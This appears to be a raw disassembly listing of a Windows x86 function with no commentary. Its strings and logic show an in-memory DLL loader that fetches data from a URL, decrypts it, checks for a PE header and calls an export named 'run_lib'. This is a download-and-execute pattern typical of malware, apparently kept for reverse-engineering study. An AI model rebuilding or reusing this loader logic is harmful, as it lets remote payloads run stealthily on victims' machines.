cmovae eax, dword [ebp - 0x1e7c]
push eax
call edi
test eax, eax
jne 0x4d4099
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00456d50
mov ecx, ebx
call fcn.004d2721
mov esi, eax
xor edi, edi
mov dword [ebp - 0x2078], esi
jmp 0x4d4133
cmp dword [ebp - 0x1e68], esi
lea eax, [ebp - 0x1e7c]
push 1
cmovae eax, dword [ebp - 0x1e7c]
lea ecx, [ebp - 0xd4]
push 0x40
push 0x25
push eax
call fcn.004d1b9c
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0xd4]
call fcn.004d57dc
mov esi, dword [eax + 8]
add esi, dword [eax]
mov dword [ebp - 0x2078], esi
lea eax, [esi + 0xa]
push eax
call fcn.00474ddd
lea ecx, [esi + 1]
mov dword [ebx + 0x58], eax
push ecx
xor edi, edi
push edi
push eax
call fcn.004f14e0
add esp, 0x10
lea ecx, [ebp - 0xd4]
push edi
push edi
push edi
call fcn.004d544d
push edi
push esi
push dword [ebx + 0x58]
lea ecx, [ebp - 0xd4]
call fcn.004d530a
lea ecx, [ebp - 0xd4]
call fcn.004d4cb4
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x1c
call fcn.004d2421
test esi, esi
jne 0x4d4156
cmp dword [ebp - 0x1e50], 8
lea eax, [ebp - 0x1e64]
cmovae eax, dword [ebp - 0x1e64]
push eax
push str._____LoadMemDll_RunDll______load_dll_error._url_:__s
jmp 0x4d42ef
mov esi, 0x63e51c
lea edi, [ebp - 0x1c]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2068]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.004eabc1
push 8
xor edi, edi
lea eax, [ebp - 0x1f68]
push edi
push eax
call fcn.004f14e0
mov esi, dword [ebp - 0x2078]
lea eax, [ebp - 0x2068]
push esi
push dword [ebx + 0x58]
push dword [ebx + 0x58]
push eax
call fcn.004eab1b
add esp, 0x24
lea eax, [ebp - 0x2084]
push eax
lea eax, [esi - 0xc]
push eax
mov eax, dword [ebx + 0x58]
add eax, 0xc
push eax
call fcn.0053de30
test eax, eax
je 0x4d42d5
cmp byte [eax], 0x4d
je 0x4d41cc
cmp byte [eax + 1], 0x5a
jne 0x4d42d5
push dword [ebp - 0x2084]
push eax
call fcn.004e9ad6
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4d42aa
push str.run_lib
push edi
call fcn.004e9a32
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4d4246
push 0x63e598
push edi
call fcn.004e9a32
cmp dword [ebp - 0x1e50], 8
mov esi, eax
lea eax, [ebp - 0x1e64]
cmovae eax, dword [ebp - 0x1e64]
push eax
push str._____LoadMemDll_RunDll______memory__run_lib__is_NULL_:__s
call fcn.004da259
add esp, 0x10
test esi, esi
jne 0x4d4246
cmp dword [ebp - 0x1e50], 8
lea eax, [ebp - 0x1e64]
cmovae eax, dword [ebp - 0x1e64]
push eax
push str._____LoadMemDll_RunDll______memory__Run__is_NULL_:__s
jmp 0x4d42c4
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004f14e0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x2080]
call fcn.004dae62
lea eax, [ebp - 0x120]
push eax
call esi
cmp dword [ebp - 0x1e50], 8
lea ecx, [ebp - 0x1e64]
mov esi, eax
cmovae ecx, dword [ebp - 0x1e64]
push ecx
push esi
push str._____LoadMemDll_RunDll______memory_run_code_:__d_url_:__s
call fcn.004da259
add esp, 0x24
test esi, esi
je 0x4d42cb
push edi
call fcn.004e99b6
xor esi, esi
inc esi
xor edi, edi
jmp 0x4d42f7
cmp dword [ebp - 0x1e50], 8
lea eax, [ebp - 0x1e64]
cmovae eax, dword [ebp - 0x1e64]
push eax
push str._____LoadMemDll_RunDll______memory_load_library_is_NULL_:__s
call fcn.004da259
pop ecx
pop ecx
push edi
call fcn.004e99b6
xor edi, edi
jmp 0x4d42f5
cmp dword [ebp - 0x1e50], 8
lea eax, [ebp - 0x1e64]
cmovae eax, dword [ebp - 0x1e64]
push eax
push str._____LoadMemDll_RunDll______dcrypt_error._url_:__s
call fcn.004da259
pop ecx
mov esi, edi
pop ecx
xor ebx, ebx
lea ecx, [ebp - 0x1ec4]
push edi
inc ebx
push ebx
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x1eac]
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x1e7c]
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x1e94]
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x1edc]
call fcn.00479e2e
push edi
push ebx
lea ecx, [ebp - 0x1ef4]
call fcn.00402590
jmp 0x4d4373
cmp dword [ebp - 0x1e50], 8
lea eax, [ebp - 0x1e64]
cmovae eax, dword [ebp - 0x1e64]
push eax
push str._____LoadMemDll_RunDll______not_base_web_url_:__s
call fcn.004da259
xor edi, edi
xor ebx, ebx
pop ecx
pop ecx
mov esi, edi
inc ebx
push edi
push ebx
lea ecx, [ebp - 0x1e64]
call fcn.00402590
lea ecx, [ebp - 0x2074]
call fcn.00479e80
push edi
push ebx
lea ecx, [ebp + 8]
call fcn.00479e2e
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00474d9e
mov esp, ebp
pop ebp
ret 0x1c